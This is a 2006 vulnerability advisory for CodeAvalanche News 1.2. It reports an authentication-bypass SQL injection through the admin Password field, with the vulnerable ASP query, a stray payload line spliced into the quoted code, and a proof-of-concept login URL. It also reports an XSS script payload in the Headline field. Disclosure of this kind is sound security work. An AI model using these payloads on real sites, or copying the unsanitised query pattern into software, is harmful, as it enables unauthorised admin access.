CANews.txt

`------------------------------------------------------------------  
- CANews Remote Multiple Vulnerability -  
-= http://colander.altervista.org/advisory/CANews.txt =-  
------------------------------------------------------------------  
  
-= CodeAvalanche News Version 1.2 =-  
  
  
  
Omnipresent  
May 18, 2006  
  
  
Vunerability(s):  
----------------  
SQL Injection  
XSS Attack  
  
  
Product:  
--------  
CodeAvalanche News Version 1.2  
  
Vendor:  
--------  
http://www.truecontent.info/codeavalanche/asp-news-publishing-script.php  
  
  
Description of product:  
-----------------------  
  
CodeAvalanche News is asp application which allows webmasters to easy add news page to their website.  
  
Resource Specification  
Platform(s): windows  
Date Added: Mar 8, 2005  
Last Updated: May 5, 2006  
Author: xfairguy  
  
  
Vulnerability / Exploit:  
------------------------  
  
In [path_of_appl.]\admin directory, there is the file default.asp and it contain a vulnerable code; because the variable   
Password is not properly sanitized.   
A malicious people can Inject SQL code by Password variable.  
  
Let's look the source code, to understand the problem:  
  
[default.asp]  
  
[...]  
  
  
  
userLogged=false  
If Request("Password")<>"" Then   
'response.Write(Request("Password"))   
'response.flush  
  
dim rsUser,selectSQL  
selectSQL="SELECT * FROM PARAMS where PASSWORD='" & Request("Password") & "'"  
a' OR 'a' = 'a  
'response.Write(selectSQL)   
  
set rsUser = Server.CreateObject("ADODB.Recordset")  
rsUser.ActiveConnection =connStr  
rsUser.Source = selectSQL  
rsUser.CursorType = 3  
rsUser.CursorLocation = 2  
rsUser.LockType = 3  
rsUser.Open()  
  
  
  
  
[...]  
  
[End default.asp]  
  
As you can see the problem is in the string selectSQL. The input passed by the variable Password is not properly sanitized so  
an attacker can Inject arbitrary SQL code. Look this example:  
  
If the variable Password is : 1' OR '1' = '1  
  
The selectSQL string looks like:  
  
selectSQL="SELECT * FROM PARAMS where PASSWORD='1' OR '1' = '1'  
  
And you can gain access to the application with admin rights.  
  
  
- XSS Attack Explaination -   
  
There is also an XSS bug in this application.  
If you put in add_news.asp in the field Headline a script like:  
  
<script>alert("XSS Attack")</script>  
  
You can see the alert message "XSS Attack"  
  
  
  
PoC / Proof of Concept of SQL Injection:  
----------------------------------------  
  
An attacker can go to this URL:  
  
http://127.0.0.1/[path_of_application]/CANews/Admin/default.asp?password=1' OR '1' = '1&Submit=Login  
  
  
Vendor Status  
-------------  
  
Not informed!  
  
Credits:  
--------  
omnipresent  
[email protected]  
`